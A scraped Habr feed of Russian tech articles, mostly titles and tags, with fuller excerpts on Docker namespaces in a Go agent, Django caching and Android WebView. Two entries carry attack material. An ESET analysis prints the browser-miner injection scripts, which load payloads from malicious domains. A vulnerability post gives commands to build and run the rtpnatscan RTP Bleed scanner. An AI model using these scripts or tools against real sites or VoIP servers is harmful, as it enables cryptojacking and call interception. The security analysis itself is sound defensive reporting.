[Перевод] Эволюция кроссплатформенной разработки: плюсы и минусы Xamarin |
Метки: author zarytskiy разработка мобильных приложений xamarin xamarin forms |
Краткое руководство для новичков, желающих стать комплексными (full stack) веб-разработчиками |
Метки: author SmirkinDA разработка веб-сайтов программирование блог компании parallels parallels web |
Новая серия вебинаров по SAP Cloud Platform: разработка, интеграция, мобильные приложения и многое другое за месяц |
Метки: author SAP разработка мобильных приложений блог компании sap sap sap cloud platform вебинары разработка интернет вещей машинное обучение |
Большие маневры малого бизнеса: «Альфа-Бизнес Мобайл» и его возможности |
Метки: author megapost разработка мобильных приложений альфа |
[recovery mode] Дизайн система по Волкову |
Метки: author Drimtv типографика интерфейсы веб-дизайн дизайн дизайн интерфейсов система дизайна |
Docker, или Туда и обратно |
С появлением docker у нас, как у сервиса мониторинга немного усложнилась жизнь. Как я писал ранее, одна из фишек нашего сервиса — автодетект сервисов, то есть агент сам находит запущенные на сервере сервисы, читает их конфиги и начинает сбор метрик.
Но в какой-то момент в production у наших клиентов начал появляться докер, и наш автодетект перестал работать. Процессу, который запускается через докер, проставляются различные namespace (mnt, net, user, pid), это достаточно сильно усложняет работу извне контейнера с файлами и сетью внутри контейнера.
Под катом я расскажу, как мы решали эту проблему, какие варианты пробовали, и что в итоге заработало.
Нашу задачу можно условно разделить на 2 части:
Первая гипотеза была очень простой: мы просто будем определять куда смотрит fs контейнера на диске хоста, менять пути и ходить туда. К сожалению это работает только в случае AUFS, но он в production практически не встречается.
Дальше мы наивно пробовали делать setns на MNT namespace прямо из кода агента, но это тоже не получилось. Дело в том, что setns на mnt (и user тоже) неймспейс может делать только однотредовое приложение:
A process may not be reassociated with a new mount namespace if it is multithreaded
Наш агент написан на golang и к моменту, когда мы хотим вызывать setns, гошный runtime уже наплодил нам несколько тредов. Чтобы агент мог запускать какие-то специальные процессы типа nsenter, нужно предварительно притащить их на машину клиенту, чего нам сильно не хотелось.
Был вариант запускать что-то через docker exec -ti
, но, во-первых, эта команда доступна только с версии 1.3, во-вторых, существует не только докер, но еще и другие сервисы контейнеризации, а в-третьих, внутри контейнера может не быть даже cat.
Потом нашелся интересный хак для go, который позволяет сделать setns в сишном конструкторе до запуска go runtime. В итоге мы пришли к тому, что агент запускает сам себя с определенными аргументами и может прочитать файл в нужном ns, раскрыть glob по файловой системе контейнера и тому подобное. Но так как setns должен выполняться в C коде, пришлось писать на C и обработку аргументов запуска. Причем в момент вызова
__attribute__((constructor))
argv/argc еще не проинициализированы, так что пришлось читать аргументы запуска себя из /proc/self/cmdline
.
При запуске агента в этом режиме он вываливает результат своей работы в stdout/stderr, а агент-родитель это читает. Отдельно пришлось сделать ограничение на размер читаемого файла: чтобы не нагружать диск мы даже не пытаемся читать файлы более 200KB (часто встречаются увесистые конфиги nginx с мапингом geoip), так как это может заметно прогрузить диск на клиентском сервере.
Такой подход хорошо работает только когда нужно один раз прочитать файл, но не годится, если нужно например tail'ить лог. С другой стороны логи на слоеные fs контейнеров обычно не пишут. Их обычно либо заворачивают в докеровские stdout/stderr и прогоняют через dockerd, либо пишут на примонтированные разделы на хостовую fs.
Вариант с dockerd мы пока никак не обрабатываем, но стоит отметить, что среди наших клиентов он встречается редко. Видимо из-за того, что на большом потоке логов, dockerd начинает нехило нагружать процессор.
Для случая с примонтированными директориями для логов, мы через информацию из docker inspect
пытаемся найти нужный файл на fs хоста, а плагин, который хочет парсить такой лог, получает путь до файла уже вне контейнера.
Первая идея относительно того, как работать по сети с сервисом в контейнере была тоже наивной: мы будем брать из docker inspect
IP контейнера и будем работать с ним. Потом выяснилось, что доступа с хоста в сеть контейнера может и не быть вовсе (macvlan). К тому же есть lxc итд.
Мы решили двигаться в сторону setns. Cетевой namespace в отличии от mnt и user можно переопределить для одного конкретного треда приложения. В golang с этим с первого взгляда все достаточно просто:
Но все оказалось сложнее. На самом деле при блокировке треда runtime нам не гарантирует, что исполнение данной горутины останется в этом треде. Есть хорошее описание как раз такого случае в посте "Linux Namespaces And Go Don't Mix".
Изначально мы собирались запускать плагин, мониторящий сервис в контейнере как раз в залоченном треде с setns, но это сломалось на первом же http клиенте.
Так как влиять на планировщик go у нас нет возможности, мы стали искать способ оставить в треде только код, не приводящий к порождению новых тредов.
Мы заметили, что если сразу после setns делать tcp коннект, то он проходит в 100% случаев, и если потом выйти из namespace и отпустить лок на тред, открытое соединение продолжает работать (я затрудняюсь объяснить, почему это работает).
Дальше задача свелась к тому, чтобы всем библиотеками для работы с различными сервисами, которые мы мониторим, подсунуть наш Dialer
(функцию, отвечающую за TCP connect):
client := redis.NewClient(&redis.Options{
Dialer: func() (net.Conn, error) {
return utils.DialTimeoutNs("tcp", params.Address, params.NetNs, redisTimeout)
},
ReadTimeout: redisTimeout,
WriteTimeout: redisTimeout,
Password: params.Password,
})
mysql.RegisterDial("netns", func(addr string) (net.Conn, error) {
return utils.DialTimeoutNs("tcp", addr, params.NetNs, connectTimeout)
})
db, err = sql.Open("mysql",
fmt.Sprintf("netns(%s)/?timeout=%s&readTimeout=%s&writeTimeout=%s",
params.Address, connectTimeout, readTimeout, writeTimeout))
database/sql
:func init() {
sql.Register("postgres+netns", &drv{})
}
type drv struct{}
type nsDialer struct {
netNs string
}
func (d nsDialer) Dial(ntw, addr string) (net.Conn, error) {
return utils.DialTimeoutNs(ntw, addr, d.netNs, connectTimeout)
}
func (d nsDialer) DialTimeout(ntw, addr string, timeout time.Duration) (net.Conn, error) {
return utils.DialTimeoutNs(ntw, addr, d.netNs, timeout)
}
func (d *drv) Open(name string) (driver.Conn, error) {
parts := strings.SplitN(name, "|", 2)
netNs := ""
if len(parts) == 2 {
netNs = parts[0]
name = parts[1]
}
return pq.DialOpen(nsDialer{netNs}, name)
}
потом вызываем свой драйвер:
dsn := fmt.Sprintf("%s|postgres://%s:%s@%s/%s",
p.NetNs, p.User, p.Password, p.Address, dbName)
db, err := sql.Open("postgres+netns", dsn)
Оглядываясь назад, мы не пожалели, что выбрали вариант с setns, так этот же код недавно прекрасно сработал у клиента с lxc.
Единственный незакрытый на данный момент сервис — это jvm в контейнере, но это совсем другая история.
Метки: author NikolaySivko системное программирование go блог компании okmeter.io мониторинг golang setns docker |
Изоляция воздушных потоков в ЦОД. Типичные сценарии |
|
[Из песочницы] Немного о безопасности терминалов в МФЦ |
Метки: author gdt тестирование it-систем разработка под windows информационная безопасность терминалы мфц безопасность |
Hackspace Capital: от World of Tanks к технологическим инновациям |
Метки: author megapost финансы в it wot |
Пятничное: пузырь ICO |
Сегодня можно увидеть устремившийся в бесконечность почти вертикальный график роста объема капитала, услышать яростную критику от скептиков и возвышенную похвалу от оптимистов. Признаться, я отношу себя к оптимистам, хотя до последнего времени ненавидел пузыри, относился к ним как к форме помешательства или одержимости. Но, обратившись к здравому смыслу, я изменил свое мнение на противоположное. Далее я расскажу как перестал бояться пузырей и полюбил вот это все.
Читать дальше ->
Метки: author rumkin финансы в it ico инвестиции новые технологии блокчейн пятница |
О факторе случая при игре в «Монополию» |
Метки: author EverydayTools читальный зал блог компании everyday tools монополия настольные игры пятница теория вероятности игры в офисе |
Как стать Azure Guru за 5 дней? |
Знакомьтесь с нашими докладчиками — квалифицированной командой профессионалов Softline и экспертов Microsoft. |
|
---|---|
Александр ПаладичSoftline ![]() Руководитель направления Microsoft Azure, Azure Pack, Azure Stack Департамент облачных технологий |
Андрей СучковSoftline ![]() Специалист отдела облачных технологий Департамент облачных технологий |
Сергей ЛапинSoftline ![]() Специалист отдела облачных технологий Департамент облачных технологий |
Антон ВатовMicrosoft ![]() TSP Application Platform |
Андрей Коломиец![]() Account Director Russia & CIS Level 3 |
Андрей Зеленов![]() Sales engineer Russia & CIS Level 3 |
Андрей ВыставкинMicrosoft ![]() Руководитель направления гибридных инфраструктур |
Андрей Каменев![]() Technology Solutions Professional Azure Apps & Infrastructure |
|
Машинное обучение в практике администрирования. Технология QoSmic |
Ошибки первого рода | Ошибки второго рода | |
---|---|---|
Apple Final Cut Pro/X | 0.1% | 0.5% |
Adobe Premiere Pro | 0.15% | 0.8% |
Autodesk Smoke | 0.12% | 0.7% |
Antivirus Kaspersky Small Business Security | 0.01% | 0.01% |
SQL база данных | 0.005% | 0.01% |
Неважные приложения | 0.1% | -- |
Workload | Length of request, KB | Read % | Decrease in bandwidth |
---|---|---|---|
Sequential read | 4, 32, 256, 1024 | 100% | 1.3% |
Sequential write | 4, 32, 256, 1024 | 0% | <1% |
Sequential read/write | 4, 32, 256, 1024 | 50% | 1.5% |
Random read | 4, 32, 256, 1024 | 100% | 1.4% |
Random write | 4, 32, 256, 1024 | 0% | < 1% |
Random read/write | 4, 32, 256, 1024 | 50% | 2 % |
|
[Из песочницы] И снова о кешировании в Django |
$ pip instal django-clever-cache
INSTALLED_APPS += ['clever_cache']
CACHES = {
"default": {
"BACKEND": 'clever_cache.backend.RedisCache',
"LOCATION": "redis://127.0.0.1:6379/1",
"OPTIONS": {
'DB': 1,
}
}
}
class Post(models.Model):
author = models.ForeignKey('auth.User')
title = models.CharField(max_length=128)
body = models.TextField()
created_at = models.DateTimeField(auto_now_add=True)
class Meta:
verbose_name = 'post'
verbose_name_plural = 'posts'
ordering = ['-created_at']
class Comment(models.Model):
author = models.ForeignKey('auth.User')
post = models.ForeignKey(Post, related_name='comments')
body = models.TextField()
created_at = models.DateTimeField(auto_now_add=True)
class Meta:
verbose_name = 'comment'
verbose_name_plural = 'comments'
ordering = ['-created_at']
class PostListView(ListView):
context_object_name = 'post_list'
def get_queryset(self):
post_list_qs = cache.get('post_list_qs')
if not post_list_qs:
post_list_qs = Post.objects.all().select_related(
'author'
).annotate(comments_count=Count('comments'))
cache.set(
'post_list_qs',
post_list_qs,
depends_on=[Post, Comment, User]
# Запись в кеше зависит от моделей Post, Comment и User
)
return post_list_qs
class PostDetailView(DetailView):
model = Post
def get_context_data(self, **ctx):
post = self.get_post()
comments = self.get_comments(post)
ctx['post'] = post
ctx['comments'] = comments
return ctx
def get_post(self, *args, **kwargs):
pk = self.kwargs.get(self.pk_url_kwarg)
cache_key = "post_detail_%s" % pk
post = cache.get(cache_key)
if not post:
post = Post.objects.select_related('author').get(pk=pk)
cache.set(
cache_key, post,
depends_on=[post, post.author]
# при изменении поста или автора удалять запись из кеша
)
return post
def get_comments(self, post):
cache_key = "post_detail_%s_comments" % post.pk
comments = cache.get(cache_key)
if not comments:
comments = post.comments.all()
cache.set(
cache_key, comments,
depends_on=[post.comments]
# post.comments - это RelatedManager,
# при изменении любого комментария поста, кеш будет инвалидирован
)
return comments
Метки: author RafGbd python django redis clever_cache |
Sci-fi для стартапа: как связаны технологическое предпринимательство и научная фантастика |
Метки: author itmo читальный зал блог компании университет итмо университет итмо литература для стартапа чтение книг |
[Перевод] Путешествие из Node в Crystal |
Метки: author ru_vds разработка веб-сайтов node.js javascript блог компании ruvds.com node crystal серверные приложения разработка |
RTP Bleed: Опасная уязвимость, позволяющая перехватывать VoIP трафик |
git clone https://github.com/kapejod/rtpnatscan.git
cd rtpnatscan
make rtpnatscan
make rtcpnatscan
asterisk -r
rtp set debug on
./rtpnatscan сервер начальный_порт конечный_порт число_пакетов
Метки: author antgorka информационная безопасность блог компании pentestit asterisk voip rtpbleed |
В единстве — прибыль. ESET изучает браузерный майнер |
–reasedoper[.]pw
, на котором были размещены эти скрипты, в Cisco Umbrella Top 1M. Мы отметили существенный рост DNS-поисков по этому адресу за март-апрель 2017. А 28 июня 2017 года reasedoper[.]pw
достиг 26300-й строки – сопоставимый уровень популярности имеет известный сервис GitHub Gist (gist.github.com
), занявший 26293-ю строку на ту же дату.bitp[.]it
, предлагали майнинг в браузере. Сервисы прекратили существование из-за малой эффективности майнинга биткоинов при помощи стандартного CPU/GPU. Например, проект bitp[.]it
закрылся в июле 2011 года.listat[.]biz
был скомпрометирован. Но listat[.]biz
действительно подозрителен, потому что он, похоже, копирует LiveInternet counter (рейтинг сайтов LiveInternet), легитимный счетчик посетителей. Более того, многие подозрительные домены были зарегистрированы на тот же адрес электронной почты, включая lmodr[.]biz
, который также присутствует в этой вредоносной цепочке.okino[.]tv
, достаточно популярен. На момент написания статьи его рейтинг в Alexa составлял 907 по России и 233 по Украине. Высокие позиции занимали и другие используемые в кампании сайты, находящиеся в рейтинге Top 1000 Alexa по России. skyadsvideo1[.]ru
в нашем примере), не всегда совпадает. code.moviead55[.]ru
. Оба принадлежат одинаковым IP адресам – 167.114.238.246 и 167.114.249.120. По данным Whois по домену skyad[.]video
, чей поддомен code.skyad[.]video
также принадлежит тем же двум адресам, домены указывают на связь с владельцем рекламной сети SkyAdVideo.
var script = document.createElement('script');
script.src = '//lmodr[.]biz/mdstat2.php';
script.async = true;
document.head.appendChild(script)
var script = document.createElement('script');
script.src = '//listat[.]biz/3.html?group=mdstat2_net&seoref=' + encodeURIComponent(document.referrer) + '&rnd=' + Math.random() + '&HTTP_REFERER=' + encodeURIComponent(document.URL);
script.async = true;
document.head.appendChild(script);
listat[.]biz
производил переадресации только на скрипты для майнинга, кроме 1 июня и 5 июля, когда он также перенаправлял пользователя на настоящие веб-счетчики посещений и на anstatalsl[.]biz
. Похоже, lmodr[.]biz
и listat[.]biz
используются только для внедрения майнинговых скриптов. function show_260() {
var script = document.createElement('script');
script.src = '//mataharirama[.]xyz/launcher.9.single.js';
script.async = true;
document.head.appendChild(script);
}
show_260();
moviead55[.]ru
, первый переход, также мог внедрять майнер. Он выложен прямо на сайте и может майнить криптовалюту ZCash. Он использует пул, расположенный на ws.zstat[.]net:8889
, а коммуникация происходит посредством протокола Web socket. Однако мы не обнаружили сходства в коде со скриптами, выложенными на reasedoper[.]pw
. Похоже, что это разные группы, занимающиеся извлечением выгоды за счет вычислительной мощности своих посетителей.script.php
.
Метки: author esetnod32 антивирусная защита блог компании eset nod32 malware coinminer |
[Из песочницы] Подход к разделению схем (пользователей) при проектировании OLTP баз данных |
Метки: author ympukhov программирование анализ и проектирование систем oracle проектирование баз данных субд pl/sql |
Web-приложения в Android без Cordova, Phonegap и SMS |
WebView webView = (WebView) findViewById(R.id.webview);
WebSettings webSettings = webView.getSettings();
webSettings.setJavaScriptEnabled(true);
webSettings.setDomStorageEnabled(true);
webView.loadUrl("file:///android_asset/index.html");
@Override
boolean shouldOverrideUrlLoading(String url) {
String host = Uri.parse(url).getHost();
if (host.trim().length() > 0) {
Uri webpage = Uri.parse(url);
Intent myIntent = new Intent(Intent.ACTION_VIEW, webpage);
startActivity(myIntent);
return true;
} else {
return false;
}
}
Метки: author musicriffstudio разработка под android open source javascript html google chrome webview android html5 |